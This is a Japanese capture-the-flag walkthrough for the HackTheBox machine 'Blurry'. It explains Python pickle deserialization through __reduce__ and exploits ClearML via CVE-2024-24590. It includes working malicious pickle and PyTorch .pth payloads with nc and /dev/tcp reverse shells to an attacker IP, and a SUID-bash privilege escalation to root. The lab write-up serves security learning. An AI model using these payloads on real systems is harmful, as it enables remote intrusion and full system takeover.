HackTheBox/Blurry
今回はBlurryです。名前の由来はclearMLに対抗しているからでしょうか。
主な流れはclearMLの脆弱性にCVE-2024-24590を実行して侵入し、そこからの権限昇格でrootになるというものです。
おそらくこのMachineでは、reduceメソッドを使ったPythonの脆弱性を学ばせたい意図があるのではないでしょうか。随所でreduceメソッドを見つけます。
pickle
Pythonの組み込みモジュールで、Pythonオブジェクトをバイトストリームに直列化(シリアライズ)したり、バイトストリームからオブジェクトに復元(デシリアライズ)したりするために使用されます。
シリアライズすることで、データの永続化、転送が可能になります。
そこでreduceメソッドが脆弱性になり得るということです。
reduceメソッド
要するにシリアライズされたpickleがデシリアライズされる際にreduceメソッドが任意のオブジェクトを実行するとのことです。
ネットで拾ってきたコードですが
import torch
import os
class Payload:
def __reduce__(self):
return (os.system, ("whoami",))
evil = Payload()
torch.save(evil, 'evil.pth')
これが基本形のようです。
これをpythonで実行するとevil.pthという名前のシリアライズされたファイルが生成されます。それがデシリアライズされた際に"whoami"が実行されるようです。つまり、"whoami"の部分を書き換えれば任意のコマンドが実行できます。
CVE-2024-24590
いつものごとくネットで見つけた複数の記事を参考に攻略を進めていきます。
これは、とあるサイトから拾ってきたCVE-2024-24590のコードです。ClearML exploit
で検索すると出てきます。
class Pickle:
def __reduce__(self):
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.58 9001 >/tmp/f"
return os.system, (cmd,)
ここですね。
そしておなじみの "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.58 9001 >/tmp/f"
があります。
ncでリバースシェルを待ち受けると
侵入することが出来ました
権限昇格
sudo -l の実行結果
/usr/bin/evaluate_model /models/*.pth
が実行できることを確認しました。
*.pth
これは、(;゚Д゚)。。。
pthを作りなさいという暗示ではҨ ( º_º )
つまりpthファイルを読み込ませて権限昇格しなさいということ
先ほどの基本形を書き換えると
import torch
import os
class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.58/4444 0>&1'",))
evil = Payload()
torch.save(evil, 'evil.pth')
これをcreate-pth-2として保存します。おなじみの"/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.58/4444 0>&1'"
ですね。
ncでリバースシェルを待ち受けて、生成されたevil.pthを/usr/bin/evaluate_model
で実行すると
もう一つ改竄したコードも試します。
import torch
import os
class Payload:
def __reduce__(self):
return (os.system, ("chmod u+s /bin/bash",))
evil = Payload()
torch.save(evil, 'evil-2.pth')
今度は侵入先のbashにSUIDを付加します。
これをcreate-pth-3として保存します。そしてpython3で実行してevil-2.pthの生成。
evil-2.pthを/usr/bin/evaluate_model
で実行してからのbash -p
→rootになれました。